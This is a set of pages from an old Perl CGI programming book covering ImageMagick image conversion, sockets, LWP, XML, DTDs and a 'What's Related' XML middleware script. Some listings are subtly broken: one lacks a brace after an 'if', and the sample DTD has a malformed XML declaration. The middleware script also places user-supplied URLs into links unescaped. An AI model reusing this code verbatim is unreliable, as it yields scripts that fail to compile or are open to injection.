Image::Magick supports GIFs. However, support for LZW compression is not compiled into ImageMagick by default. This causes GIFs that are created by Image::Magick to be quite large. It is possible to enable LZW compression when building ImageMagick, but of course you should check with Unisys about licensing and/or contact an attorney before doing so. Refer to the ImageMagick build instructions for more information.

13.5.2. Converting PNGs to GIFs or JPEGs

As we noted earlier, unfortunately not all browsers support PNGs. Let's see how we can use Image::Magick to convert a PNG to a GIF or a JPEG. In order to use an image in Image::Magick, you must read it from a file. According to the documentation, it should also accept input from a file handle, but as of the time this book was written, this feature is broken (it silently fails). We will thus write the output of GD to a temporary file and then read it back in to Image::Magick. Example 13-5 includes our earlier example, commute_pie.cgi , updated to output a JPEG instead unless the browser specifically states that it supports PNG files.

Example 13-5. commute_pie2.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;
use GD::Graph::pie;
use Image::Magick;
use POSIX qw( tmpnam );
use Fcntl;

use constant TITLE => "Average Commute Time: Pie Chart";

my $q     = new CGI;
my $graph = new GD::Graph::pie( 300, 300 );
my @data  = (
    [ qw( Mon  Tue  Wed  Thu  Fri ) ],
    [      33,  24,  23,  19,  21   ],
    [      17,  15,  19,  15,  24   ],
);

$graph->set(
    title           => TITLE,
    '3d'            => 0
);

my $gd_image = $graph->plot( \@data );
undef $graph;

if ( grep $_ eq "image/png", $q->Accept )
    print $q->header( -type => "image/png", -expires => "now" );
    binmode STDOUT;
    print $gd_image->png;
}
else {
    print $q->header( -type => "image/jpeg", -expires => "now" );
    binmode STDOUT;
    print_png2jpeg( $gd_image->png );
}

# Takes PNG data, converts it to JPEG, and prints it
sub print_png2jpeg {
    my $png_data = shift;
    my( $tmp_name, $status );

    # Create temp file and write PNG to it
    do {
        $tmp_name = tmpnam(  );
    } until sysopen TMPFILE, $tmp_name, O_RDWR | O_CREAT | O_EXCL;
    END { unlink $tmp_name or die "Cannot remove $tmp_name: $!"; }

    binmode TMPFILE;
    print TMPFILE $png_data;
    seek TMPFILE, 0, 0;
    close TMPFILE;
    undef $png_data;

    # Read file into Image::Magick
    my $magick = new Image::Magick( format => "png" );
    $status = $magick->Read( filename => $tmp_name );
    warn "Error reading PNG input: $status" if $status;

    # Write file as JPEG to STDOUT
    $status = $magick->Write( "jpeg:-" );
    warn "Error writing JPEG output: $status" if $status;
}

We use a few more modules in this script, including Image::Magick, POSIX, and Fcntl. The latter two allow us to get a temporary filename. See Section 10.1.3, "Temporary Files". The only other change to the main body of our script is a check for the image/png media type in the browser's Accept header. If it exists, we send the PNG as is. Otherwise, we output a header for a JPEG and use the print_png2jpeg function to convert and output the image.

The print_png2jpeg function takes PNG image data, creates a named temporary file, and writes the PNG data to it. Then it closes the file and discards its copy of the PNG data in order to conserve a little extra memory. Then we create an Image::Magick object and read the PNG data from our temporary file and write it back out to STDOUT in JPEG format. Image::Magick uses the format:filename string for the Write method, and using - instead of filename indicates that it should write to STDOUT. We could output the data as a GIF by changing our output header and using the following Write command instead:

$status = $magick->Write( "gif:-" );

Image::Magick returns a status with every method call. Thus $status is set if an error occurs, which we log with the warn function.

There is a trade-off to not using PNG. Remember that a GIF produced by Image::Magick without LZW compression will be much larger than a typical GIF, and a JPEG may not capture sharp details such as straight lines and text found in a graph as accurately as a PNG.

13.5.3. PDF and PostScript Support

If you look through the list of formats that Image::Magick supports, you will see PDF and PostScript listed among others. If GhostScript is present, Image::Magick can read and write to these formats, and it allows you to access individual pages.

The following code joins two separate PDF files:

my $magick = new Image::Magick( format => "pdf" );

$status = $magick->Read( "cover.pdf", "newsletter.pdf" );
warn "Read failed: $status" if $status;

$status = $magick->Write( "pdf:combined.pdf" );
warn "Write failed: $status" if $status;

However, keep in mind that Image::Magick is an image manipulation tool. It can read PDF and PostScript using GhostScript, but it rasterizes these formats, converting any text and vector elements into images. Likewise, when it writes to these formats, it writes each page as an image encapsulated in PDF and PostScript formats.

Therefore, if you attempt to open a large PDF or PostScript file with Image::Magick, it will take a very long time as it rasterizes each page. If you then save this file, the result will have lost all of its text and vector information. It may look the same on the screen, but it will print much worse. The resulting file will likely be much larger, and text cannot be highlighted or searched because it has been converted to an image.

13.5.4. Image Processing

Typically, if you need to create a new image, you should use GD. It's smaller and more efficient. However, Image::Magick provides additional effects that GD does not support, such as blur. Let's take a look at Example 13-6, which contains a CGI script that uses some of Image::Magick's features to create a text banner with a drop shadow, as seen in Figure 13-12.

Example 13-6. shadow_text.cgi

#!/usr/bin/perl -wT

use strict;

use CGI;
use Image::Magick;

use constant FONTS_DIR => "/usr/local/httpd/fonts";

my $q      = new CGI;
my $font   = $q->param( "font" )  || 'cetus';
my $size   = $q->param( "size" )  || 40;
my $string = $q->param( "text" )  || 'Hello!';
my $color  = $q->param( "color" ) || 'black';

$font   =~ s/\W//g;
$font   = 'cetus' unless -e FONTS_DIR . "/$font.ttf";

my $image = new Image::Magick( size => '500x100' );

$image->Read( 'xc:white' );
$image->Annotate( font      => "\@@{[ FONTS_DIR ]}/$font.ttf",
                  pen       => 'gray',
                  pointsize => $size,
                  gravity   => 'Center',
                  text      => $string );

$image->Blur( 100 );

$image->Roll( "+5+5" );

$image->Annotate( font      => "\@@{[ FONTS_DIR ]}/$font.ttf",
                  pen       => $color,
                  pointsize => $size,
                  gravity   => 'Center',
                  text      => $string );

binmode STDOUT;
print $q->header( "image/jpeg" );
$image->Write( "jpeg:-" );

Figure 13-12. ImageMagick and FreeType in action

This CGI script indirectly uses the FreeType library, which allows us to use TrueType fonts within our image. TrueType is a scalable font file format developed by Apple and Microsoft, and is supported natively on both the MacOS and Windows. As a result, we can pick and choose from the thousands of TrueType fonts freely available on the Internet to create our headlines. If you do not have FreeType, you cannot use TrueType fonts with Image::Magick; you can obtain FreeType from http://www.freetype.org/.

The first step we need to perform before we can use this CGI application is to obtain TrueType fonts and place them in the directory specified by the FONTS_DIR constant. The best way to locate font repositories is to use a search engine; search for "free AND TrueType AND fonts". If you're curious, the font we used to create a typewriter effect, in Figure 13-1, is Cetus, which is included with the GD::Text module.

Now let's look at the code. We accept four fields: font, size, text, and color, which govern how the banner image will be rendered. If we don't receive values for any of these fields, we set default values.

As you can see, we have no corresponding user interface (i.e., form) from which the user passes this information to the application. Instead, this application is intended to be used with the < IMG> tag, like so:

<IMG SRC="/cgi/shadow_text.cgi?font=cetus
                            &size=40
                            &color=black
                            &text=I%20Like%20CGI">

The query information above is aligned so you can see what fields the application accepts. Normally, you would pass the entire query information in one line. Since this application creates a JPEG image on the fly, we can use it to embed dynamic text banners in otherwise static HTML documents.

We use the font name, as passed to us, to find the font file in the FONTS_DIR directory. To be safe, we strip non-word characters and test for the existence of a font with that name in our FONTS_DIR directory, using the -e operator, before passing its full path to ImageMagick.

Now, we're ready to create the image. First, we create a new instance of the Image::Magick object, passing to it the image size of 500 × 100 pixels. Next, we use the Read method to create a canvas with a white background. Now, we're ready to draw the text banner onto the image. If you look back at Figure 13-12, you'll see a banner with a drop shadow. When we construct the image, we draw the drop shadow first, followed by the dark top text layer.

We use the Annotate method, with a number of arguments to render the gray drop shadow. The path to the font file requires a @ prefix. But, since Perl does not allow us to have a literal @ character within a double=quoted string, we have to escape it by preceding it with the \ character.

Once we've drawn the drop shadow, it's time to apply a blur effect by invoking the Blur method. This creates the effect that the text is floating underneath the solid layer of text. The Blur method requires a percentage value, and since we want a full blur, we choose a value of 100. A value greater than 100% produces an undesirable, washed out effect.

Our next step is to move the drop shadow horizontally and vertically a bit. We achieve this by calling the Roll method, and pass it the value of "+5+5"; right and down shift by five pixels. Now, we're ready to draw the solid top text. Again, we invoke the Annotate method to render the text, but this time around, we change the pen color to reflect the user's choice. We're done with the drawing and can send it to the browser.

Finally, we enable binmode , send a content type of image/jpeg , and call the Write method to send the JPEG image to the standard output stream.

Previous | Home | Next
13.4. Additional GD Modules | Book Index | 14. Middleware and XML
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Middleware and XML (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 14. Middleware and XML

Contents:

Communicating with Other Servers
An Introduction to XML
Document Type Definition
Writing an XML Parser
CGI Gateway to XML Middleware

CGI programming has been used to make individual web applications from simple guestbooks to complex programs such as a calendar capable of managing the schedules of large groups. Traditionally, these programs have been limited to displaying data and receiving input directly from users.

However, as with all popular technologies, CGI is being pushed beyond these traditional uses. Going beyond CGI applications that interact with users, the focus of this chapter is on how CGI can be a powerful means of communicating with other programs.

We have seen how CGI programs can act as a gateway to a variety of resources such as databases, email, and a host of other protocols and programs. However, a CGI program can also perform some sophisticated processing on the data it gets so that it effectively becomes a data resource itself. This is the definition of CGI middleware. In this context, the CGI application sits between the program it is serving data to and the resources that it is interacting with.

The variety of search engines that exist provides a good example of why CGI middleware can be useful. In the early history of the Web, there were only a few search engines to choose from. Now, there are many. The results these engines produce are usually not identical. Finding out about a rare topic is not an easy task if you have to jump from engine to engine to retry the search.

Instead of trying multiple queries, you would probably rather issue one query and get back results from many search engines in a consolidated form with duplicate responses already filtered out. To make this a reality, the search engines themselves must become CGI middleware engines, talking to one CGI script that consolidates the results.

Furthermore, a CGI middleware layer can be used to consolidate databases other than ones on the Internet. For example, a company-wide directory service could be programmed to search several internal phone directory databases such as customer data and human resources data as well as using an Internet phone resource such as http://www.four11.com/ if the information is lacking internally, as shown in Figure 14-1.

Figure 14-1. Consolidated phone directory interface using CGI middleware

Two technologies to illustrate the use of CGI middleware will be demonstrated later in this chapter. First, we will look at how to perform network connections from your CGI scripts in order to talk to other servers. Then, we introduce eXtensible Markup Language (XML), a platform-independent way of transferring data between programs. We'll show an example using Perl's XML parser.

14.1. Communicating with Other Servers

Let's look at the typical communication scheme between a client and a server. Consider an electronic mail application, for example. Most email applications save the user's messages in a particular file, typically in the /var/spool/mail directory. When you send mail to someone on a different host, the mail application must find the recipient's mail file on that server and append your message to it. How does the mail program achieve this task, since it cannot manipulate files on a remote host directly?

The answer to this question is interprocess communication (IPC). Typically, there exists a process on the remote host, which acts as a messenger for dealing with email services. When you send a message, the local process on your host communicates with this remote agent across a network to deliver mail. As a result, the remote process is called a server (because it services an issued request), and the local process is referred to as a client. The Web works along the same philosophy: the browser represents the client that issues a request to an HTTP server that interprets and executes the request.

The most important thing to remember here is that the client and the server must speak the same language. In other words, a particular client is designed to work with a specific server. So, for example, an email client, such as Eudora, cannot communicate with a web server. But if you know the stream of data expected by a server, and the output it produces, you can write an application that communicates with the server, as you will see later in this chapter.

14.1.1. Sockets

Most companies have a telephone switchboard that acts as a gateway for calls coming in and going out. A socket can be likened to a telephone switchboard. If you want to connect to a remote host, you need to first create a socket through which the communications would occur. This is similar to dialing "9" to go through the company switchboard to the outside world.

Similarly, if you want to create a server that accepts connections from remote (or local) hosts, you need to set up a socket that listens for connections. The socket is identified on the Internet by the host's IP address and the port that it listens on. Once a connection is established, a new socket is created to handle this connection, so that the original socket can go back and listen for more connections. The telephone switchboard works in the same manner: as it handles outside phone calls, it routes them to the appropriate extension and goes back to accept more calls.

For the sake of discussion, think of a socket simply as a pipe between two locations. You can send and receive information through that pipe. This concept will make it easier for you to understand socket I/O.

14.1.2. IO::Socket

The IO::Socket module, which is included with the standard Perl distribution, makes socket programming simple. Example 14-1 provides a short program that takes a URL from the user, requests the resource via a GET method, then prints the headers and content.

Example 14-1. socket_get.pl

#!/usr/bin/perl -wT

use strict;

use IO::Socket;
use URI;

my $location = shift || die "Usage: $0 URL\n";

my $url      = new URI( $location );
my $host     = $url->host;
my $port     = $url->port || 80;
my $path     = $url->path || "/";

my $socket   = new IO::Socket::INET (PeerAddr => $host,
                                     PeerPort => $port,
                                     Proto    => 'tcp')
               or die "Cannot connect to the server.\n";

$socket->autoflush (1);

print $socket "GET $path HTTP/1.1\n",
              "Host: $host\n\n";
print while (<$socket>);

$socket->close;

We use the URI module discussed in Chapter 2, "The Hypertext Transport Protocol ", to break the URL supplied by the user into components. Then we create a new instance of the IO::Socket::INET object and pass it the host, port number, and the communications protocol. And the module takes care of the rest of the details.

We make the socket unbuffered by using the autoflush method. Notice in the next set of code that we can use the instance variable $socket as a file handle as well. This means that we can read from and write to the socket through this variable.

This is a relatively simple program, but there is an even easier way to retrieve web resources from Perl: LWP.

14.1.3. LWP

LWP , which stands for libwww-perl, is an implementation of the W3C's libwww package for Perl by Gisle Aas and Martijn Koster, with contributions from a host of others. LWP allows you to create a fully configurable web client in Perl. You can see an example of some of what LWP can do in Section 8.2.5, "Trusting the Browser".

With LWP, we can write our web agent as shown in Example 14-2.

Example 14-2. lwp_full_get.pl

#!/usr/bin/perl -wT

use strict;
use LWP::UserAgent;
use HTTP::Request;

my $location = shift || die "Usage: $0 URL\n";

my $agent = new LWP::UserAgent;
my $req = new HTTP::Request GET => $location;
   $req->header('Accept' => 'text/html');

my $result = $agent->request( $req );

print $result->headers_as_string,
      $result->content;

Here we create a user agent object as well as an HTTP request object. We ask the user agent to fetch the result of the HTTP request and then print out the headers and content of this response.

Finally, let's look at LWP::Simple. LWP::Simple does not offer the same flexibility as the full LWP module, but it is much easier to use. In fact, we can rewrite our previous example to be even shorter; see Example 14-3.

Example 14-3. lwp_simple_get.pl

#!/usr/bin/perl -wT

use strict;
use LWP::Simple;

my $location = shift || die "Usage: $0 URL\n";

getprint( $location );

There is a slight difference between this and the previous example. It does not print the HTTP headers, just the content. If we want to access the headers, we would need to use the full LWP module instead.

Previous | Home | Next
13.5. PerlMagick | Book Index | 14.2. An Introduction to XML
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


An Introduction to XML (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

14.2. An Introduction to XML

XML is useful because it provides an industry standard way of describing data. In addition, XML accomplishes this feat in a style similar to HTML, which thousands of developers are already familiar with. CGI programs that speak XML will be able to deliver to and retrieve data from any XML-compliant Perl script or Java applet.

It is possible to use CGI as middleware without a data description language such as XML. The success of libraries such as LWP for Perl demonstrates this. However, most web pages still deliver data as plain HTML. Using LWP to grab these pages and the HTML::Parser to parse them leaves much to be desired. Although HTML has to be produced in order for a web browser to consume the data even when XML is used, the HTML itself is likely to change depending on how the web designer wants the page to look, even if the data described in XML would still remain the same. For this reason, writing a parser for an HTML document can be problematic because the HTML parser will break as soon as the structure of how the data is displayed is changed.

On the client side of the coin, those projects requiring the sophisticated data-display capabilities of Java need to have some way of obtaining their data. Enabling Java applets to talk to CGI programs provides a lightweight and easy way to gather the data for presentation.

For the most part, HTML has served its purpose well. Web browsers have successfully dealt with HTML markup tags to display content to users for years. However, while human readers can absorb the data in the context of their own language, machines find it difficult to interpret the ambiguity of data written in a natural language such as English inside an HTML document. This problem brought about the recognition that what the Web needs is a language that could mark up content in a way that is easily machine-readable.

XML was designed to make up for many of HTML's limitations in this area. The following is a list of features XML provides that makes it useful as a mechanism for transporting data from program to program:

  1. New tags and tag hierarchies can be defined to represent data specific to your application. For instance, a quiz can contain <QUESTION> and <ANSWER> tags.

  2. Document type definitions can be defined for data validation. You can require, for instance, that every <QUESTION> be associated with exactly one <ANSWER>.

  3. Data transport is Unicode-compliant, which is important for non-ASCII character sets.

  4. Data is provided in a way that makes it easily transportable via HTTP.

  5. Syntax is simple, allowing parsers to be simple.

As an example, let's look at a sample XML document that might contain the data for an online quiz. At the most superficial level, a quiz has to be represented as a collection of questions and their answers. The XML looks like this:

<?xml version="1.0"?>
<!DOCTYPE quiz SYSTEM "quiz.dtd">
<QUIZ>
  <QUESTION TYPE="Multiple">
    <ASK>
      All of the following players won the regular season MVP and playoff
      MVP in the same year, except for:
    </ASK>
    <CHOICE VALUE="A" TEXT="Larry Bird"/>
    <CHOICE VALUE="B" TEXT="Jerry West"/>
    <CHOICE VALUE="C" TEXT="Earvin Magic Johnson"/>
    <CHOICE VALUE="D" TEXT="Hakeem Olajuwon"/>
    <CHOICE VALUE="E" TEXT="Michael Jordan"/>

    <ANSWER>B</ANSWER>
    <RESPONSE VALUE="B">
      West was awesome, but they did not have a playoff
      MVP in his day.
    </RESPONSE>
    <RESPONSE STATUS="WRONG">
      How could you choose Bird, Magic, Michael, or Hakeem?
    </RESPONSE>
  </QUESTION>

  <QUESTION TYPE="Text">
    <ASK>
      Who is the only NBA player to get a triple-double by halftime?
    </ASK>

    <ANSWER>Larry Bird</ANSWER>
     <RESPONSE VALUE="Larry Bird">
       You got it! He was quite awesome!
     </RESPONSE>
     <RESPONSE VALUE="Magic Johnson">
       Sorry. Magic was just as awesome as Larry, but he never got a
       triple-double by halftime.
     </RESPONSE>
     <RESPONSE STATUS="WRONG">
       I guess you are not a Celtics Fan.
     </RESPONSE>
  </QUESTION>
</QUIZ>

You can see from the above document that XML is actually very simple, and it is very similar to HTML. This is no accident. One of XML's primary design goals is to make it compatible with the Internet. The other major goal is to make the language so simple that it is relatively trivial to write an XML parser.

From the structure in the sample XML document, you can ascertain that the root data structure is a quiz surrounded by <QUIZ> tags. All XML documents must present the data with at least one root structure surrounding the whole document.

Within the quiz structure shown here, there are two questions. Within those questions are descriptions of the question itself, an answer to the question, and a host of possible responses.

Obviously, this input has to be accompanied by a style sheet or some other guide to the browser, so that the browser knows basic things like not displaying the answers with the questions. Later in this chapter, we will write a Perl program to translate an XML document into standard HTML.

The question tags are written with an open and closing tag to illustrate that multiple datasets (ask, answer, response) are placed between them. On the other hand, we made the choices for a multiple-choice question into single, empty tags. XML makes this clear by forcing a "/" at the end of the single tag definition.

This is one of the main areas where XML differs from HTML. HTML would just leave the single empty tag as is. However, the designers of XML felt that it was easier to write a parser if that parser knew that it did not have to look for a closing tag to accommodate the start tag as soon as it realized the single tag ends with a "/>" instead of ">" by itself.

The above XML document is arbitrarily structured. We could have presented the information in different ways.

For example, we could have made the <CHOICE> tag open instead of empty so that a choice could handle more definitions inside of itself. Using an open tag would allow a round-robin list of possible choices to present so the choices do not appear the same all the time. This is an important XML point: XML was designed to accommodate any data structure.

Previous | Home | Next
14. Middleware and XML | Book Index | 14.3. Document Type Definition
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Document Type Definition (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

14.3. Document Type Definition

A document type definition (DTD) tells us how the XML document is structured and what the tags mean in relation to one another. Notice that the second line in the quiz XML example contains a document type definition indicated by a <!DOCTYPE> tag. This tag references a file that contains the DTD for this XML structure. Generally, this <!DOCTYPE> tag is used when an XML parser wants to validate the XML against a more strict definition.

For example, the XML shown above could easily be parsed without the DTD. However, the DTD may offer additional hints to the XML parser to further validate the document. Here's a sample quiz.dtd file:

<?xml version-"1.0">
<!ELEMENT QUIZ (QUESTION*)>
<!ELEMENT QUESTION (ASK+,CHOICE*,ANSWER+,RESPONSE+)>
<!ATTLIST QUESTION
  TYPE CDATA #REQUIRED>

<!ELEMENT ASK (#PCDATA)>
<!ELEMENT CHOICE EMPTY>
    <!ATTLIST CHOICE
         VALUE CDATA #REQUIRED
         TEXT CDATA #REQUIRED>
<!ELEMENT ANSWER (#PCDATA)>
<!ELEMENT RESPONSE (#PCDATA)>
    <!ATTLIST RESPONSE
         VALUE CDATA
         STATUS CDATA>

The <!ELEMENT> tags describe the actual tags that are valid in the XML document. In this case, <QUIZ>, <QUESTION>, <ASK>, <CHOICE>, <ANSWER>, and <RESPONSE> tags are available for use in an XML document compliant with the quiz.dtd file.

The parentheses after the name of the element show what tags it can contain. The * symbol is a quantity identifier. It follows the same basic rules as regular expression matching. For example, a * symbol indicates zero or more of that element is expected to be contained. If we wanted to indicate zero or one, we would have placed a ? in place of the *. Likewise, if we wanted to indicate that one or more of that element has to be contained inside the tag, then we would have used + . #PCDATA is used to indicate that the element contains character data.

For this example, the <QUIZ> tag expects to contain zero or more QUESTION elements while the <QUESTION> tag expects to contain at least one question, answer, and response. Questions can also have zero or more choices. Furthermore, the CHOICE element definition later in the DTD uses the EMPTY keyword to indicate that it is a single tag that appears by itself; it does not enclose anything. The ASK element contains character data only.

After each element is defined, its attributes need to be laid out. Questions have a type attribute that takes a string of character data. Furthermore, the #REQUIRED keyword indicates that this data is required in the XML document. The other attribute definitions follow a similar pattern in the quiz.dtd file.

The DTD file is optional. You can still parse an XML document without a document type definition. However, with the DTD, the XML parser is provided with rules that the data validation should be based on. Maintaining these validation rules centrally allows the XML format to change without having to make as many changes to the parser code. Parsers that do not use a DTD are called non-validating XML parsers; the standard Perl module for parsing XML documents, XML::Parser, is a non-validating XML parser.

Presumably, anybody writing a quiz will use an editor that checks their XML against the DTD, or will run the document through a validating program. Thus, our program will never encounter a question that does not contain an answer, or some other violation of the DTD.

When a program knows the structure of an XML document using a DTD, it can make other assumptions on how to display that data. For example, a browser could be programmed so that when a quiz document is encountered, it will display the available questions in a list even if only one question was present in the document itself. Because the DTD tells us that it is possible for many questions to appear in the file, the browser can determine the context in which to display the data in the XML document.

The ability to decouple validation rules from the parser is especially important on the Web. With the potential for many people to write code that draws information from an XML data source, any type of mechanism that prevents changes in the XML definition from breaking those parsers will make for a more robust network.

Previous | Home | Next
14.2. An Introduction to XML | Book Index | 14.4. Writing an XML Parser
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Writing an XML Parser (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

14.4. Writing an XML Parser

The XML parser example builds on the work of the XML::Parser library available on CPAN. XML::Parser is an interface to a library written in C called expat by James Clark. Originally Larry Wall wrote the first XML::Parser library prototype for Perl. Since then, Clark Cooper has continued to develop and maintain XML::Parser. In this section, we will write a simple middleware application using XML.

The latest versions of Netscape have a feature called "What's Related". When the user clicks on the What's Related button, the Netscape browser takes the URL that the user is currently viewing and looks up related URLs in a search engine. Most users don't know that the Netscape browser is actually doing this through an XML-based search engine. Dave Winer originally wrote an article with accompanying Frontier code to access the What's Related search engine at http://nirvana.userland.com/whatsRelated/.

Netscape maintains a server that takes URLs and returns the related URL information in an XML format. Netscape wisely chose XML because they did not intend for users to interact directly with this server using HTML forms. Instead, they expected users to choose "What's Related" as a menu item and then have the Netscape browser do the XML parsing.

In other words, the Netscape "What's Related" web server is actually serving as a middleware layer between the search engine database and the Netscape browser itself. We will write a CGI frontend to the Netscape application that serves up this XML to demonstrate the XML parser. In addition, we will also go one step further and automatically reissue the "What's Related" query for each URL returned.

Before we jump into the Perl code, we need to take a look at the XML that is typically returned from the Netscape server. In this example, we did a search on What's Related to http://www.eff.org/, the web site that houses the Electronic Frontier Foundation. Here is the returned XML:

<RDF:RDF>
<RelatedLinks>
<aboutPage href="http://www.eff.org:80/"/>
<child href="http://www.privacy.org/ipc" name="Internet Privacy Coalition"/>
<child href="http://epic.org/" name="Electronic Privacy Information Center"/>
<child href="http://www.ciec.org/" name="Citizens Internet Empowerment Coalition"/>
<child href="http://www.cdt.org/" name="The Center for Democracy and Technology"/>
<child href="http://www.freedomforum.org/" name="FREE! The Freedom Forum Online. News about free press"/>
<child href="http://www.vtw.org/speech" name="VTW Focus on Internet Censorship legislation"/>
<child href="http://www.privacyrights.org/" name="Privacy Rights Clearinghouse"/>
<child href="http://www.privacy.org/pi" name="Privacy International Home Page"/>
<child href="http://www.epic.org/" name="Electronic Privacy Information Center"/>
<child href="http://www.anonymizer.com/" name="Anonymizer, Inc."/>
</RelatedLinks>
</RDF:RDF>

This example is a little different from our plain XML example earlier. First, there is no DTD. Also, notice that the document is surrounded with an unusual tag, RDF: RDF. This document is actually in an XML-based format called Resource Description Framework, or RDF. RDF describes resource data, such as the data from search engines, in a way that is standard across data domains.

This XML is relatively straightforward. The <aboutPage> tag contains a reference to the original URL we were searching. The <child> tag contains references to all the related URLs and their titles. The <RelatedLinks> tag sandwiches the entire document as the root data structure.

Previous | Home | Next
14.3. Document Type Definition | Book Index | 14.5. CGI Gateway to XML Middleware
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI Gateway to XML Middleware (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

14.5. CGI Gateway to XML Middleware

The following CGI script will act as a gateway parsing the XML from the Netscape What's Related server. Given a URL, it will print out all the related URLs. In addition, it will also query the Netscape What's Related server for all the URLs related to this list of URLs and display them. From this point onward, we will refer to URLs that are related to the first set of related URLs as second-level related URLs. Figure 14-2 shows the initial query screen while Figure 14-3 illustrates the results from a sample query. Example 14-4 shows the HTML for the initial form.

Figure 14-2. Search form for the "What's Related" CGI script

Figure 14-3. "What's Related to What's Related" results from querying http://www.eff.org/

Example 14-4. whats_related.html

<HTML>
<HEAD>
    <TITLE>What's Related To What's Related Query</TITLE>
</HEAD>
<BODY BGCOLOR="#ffffff">
    <H1>Enter URL To Search:</H1>
    <HR>
    <FORM METHOD="POST">
        <INPUT TYPE="text" NAME="url" SIZE=30><P>
        <INPUT TYPE="submit" NAME="submit_query" VALUE="Submit Query">
    </FORM>
</BODY>
</HTML>

Two Perl modules will be used to provide the core data connection and translation services to the search engine. First, the library for web programming ( LWP) module will be used to grab data from the search engine. Since the What's Related server can respond to GET requests, we use the LWP::Simple subset of LWP rather than the full-blown API. Then, XML::Parser will take the retrieved data and process it so that we can manipulate the XML using Perl data structures. The code is shown in Example 14-5.

Example 14-5. whats_related.cgi

#!/usr/bin/perl -wT

use strict;
use constant WHATS_RELATED_URL => "http://www-rl.netscape.com/wtgn?";
use vars qw( @RECORDS $RELATED_RECORDS );

use CGI;
use CGI::Carp qw( fatalsToBrowser );
use XML::Parser;
use LWP::Simple;

my $q = new CGI(  );

if ( $q->param( "url" ) ) {
    display_whats_related_to_whats_related( $q );
} else {
    print $q->redirect( "/quiz.html" );
}

sub display_whats_related_to_whats_related {
    my $q = shift;
    my $url = $q->param( "url" );
    my $scriptname = $q->script_name;

    print $q->header( "text/html" ),
          $q->start_html( "What's Related To What's Related Query" ),
          $q->h1( "What's Related To What's Related Query" ),
          $q->hr,
          $q->start_ul;

    my @related = get_whats_related_to_whats_related( $url );

    foreach ( @related ) {
        print $q->a( { -href => "$scriptname?url=$_->[0]" }, "[*]" ),
              $q->a( { -href => "$_->[0]" }, $_->[1] );

        my @subrelated = @{$_->[2]};

        if ( @subrelated ) {
            print $q->start_ul;
            foreach ( @subrelated ) {
                print $q->a( { -href => "$scriptname?url=$_->[0]" }, "[*]" ),
                      $q->a( { -href => "$_->[0]" }, $_->[1] );
            }
            print $q->end_ul;
        } else {
            print $q->p( "No Related Items Were Found" );
        }
    }

    if ( ! @related ) {
        print $q->p( "No Related Items Were Found. Sorry." );
    }

    print $q->end_ul,
          $q->p( "[*] = Go to What's Related To That URL." ),
          $q->hr,
          $q->start_form( -method => "GET" ),
            $q->p( "Enter Another URL To Search:",
              $q->text_field( -name => "url", -size => 30 ),
              $q->submit( -name => "submit_query", -value => "Submit Query" )
            ),
          $q->end_form,
          $q->end_html;
}

sub get_whats_related_to_whats_related {
    my $url = shift;

    my @related = get_whats_related( $url );
    my $record;
    foreach $record ( @related ) {
        $record->[2] = [ get_whats_related( $record->[0] ) ];
    }
    return @related;
}

sub get_whats_related {
    my $url = shift;
    my $parser = new XML::Parser( Handlers => { Start => \&handle_start } );
    my $data = get( WHATS_RELATED_URL . $url );

    $data =~ s/&/&amp;/g;
    while ( $data =~ s|(=\"[^"]*)\"([^/ ])|$1'$2|g ) { };
    while ( $data =~ s|(=\"[^"]*)<[^"]*>|$1|g ) { };
    while ( $data =~ s|(=\"[^"]*)<|$1|g ) { };
    while ( $data =~ s|(=\"[^"]*)>|$1|g ) { };
    $data =~ s/[\x80-\xFF]//g;

    local @RECORDS = (  );
    local $RELATED_RECORDS = 1;

    $parser->parse( $data );

    sub handle_start {
        my $expat = shift;
        my $element = shift;
        my %attributes = @_;

        if ( $element eq "child" ) {
            my $href = $attributes{"href"};
            $href =~ s/http.*http(.*)/http$1/;

            if ( $attributes{"name"} &&
                 $attributes{"name"} !~ /smart browsing/i &&
                 $RELATED_RECORDS ) {
                if ( $attributes{"name"} =~ /no related/i ) {
                    $RELATED_RECORDS = 0;
                } else {
                    my $fields = [ $href, $attributes{"name"} ];
                    push @RECORDS, $fields;
                }
            }
        }
    }
    return @RECORDS;
}

This script starts like most of our others, except we declare the @RECORDS and @RELATED_RECORDS as global variables that will be used to temporarily store information about parsing the XML document. In particular, @RECORDS will contain the URLs and titles of the related URLs, and $RELATED_RECORDS will be a flag that is set if related documents are discovered by Netscape's What's Related server. WHATS_RELATED_URL is a constant that contains the URL of Netscape's What's Related server.

In addition to the CGI.pm module, we use CGI::Carp with the fatalsToBrowser option in order to make any errors echo to the browser for easier debugging. This is important because XML::Parser dies when it encounters a parsing error. XML::Parser is the heart of the program. It will perform the data extraction of the related items. LWP::Simple is a simplified subset of LWP, a library of functions for grabbing data from a URL.

We create a CGI object and then check whether we received a url parameter. If so, then we process the query; otherwise, we simply forward the user to the HTML form. To process our query, a subroutine is called to display "What's Related to What's Related" to the URL (display_whats_related_to_whats_related ).

The display_whats_related_to_whats_related subroutine contains the code that displays the HTML of a list of URLs that are related to the submitted URL including the second-level related URLs.

We declare a lexical variable called @related. This data structure contains all the related URL information after the data gets returned from the get_whats_related_to_whats_related subroutine.

More specifically, @related contains references to the related URLs, which in turn contain references to second-level related URLs. @related contains references to arrays whose elements are the URL itself, the title of the URL, plus another array pointing to second-level related URLs. The subarray of second-level related URLs contains only two elements: the URL and the title. Figure 14-4 illustrates this data structure.

Figure 14-4. Perl data structure that contains the related URLs and subsequent related URLs

If there are no related items found at the top level submitted URL, a message is printed to notify the user.

Later, we want to print out self-referencing hypertext links back to this script. In preparation for this action, we create a variable called $scriptname that will hold the current scriptname for referencing in <A HREF> tags. CGI.pm's script_name method provides a convenient way of getting this data.

Of course, we could have simply chosen a static name for this script. However, it is generally considered good practice to code for flexibility where possible. In this case, we can name the script anything we want and the code here will not have to change.

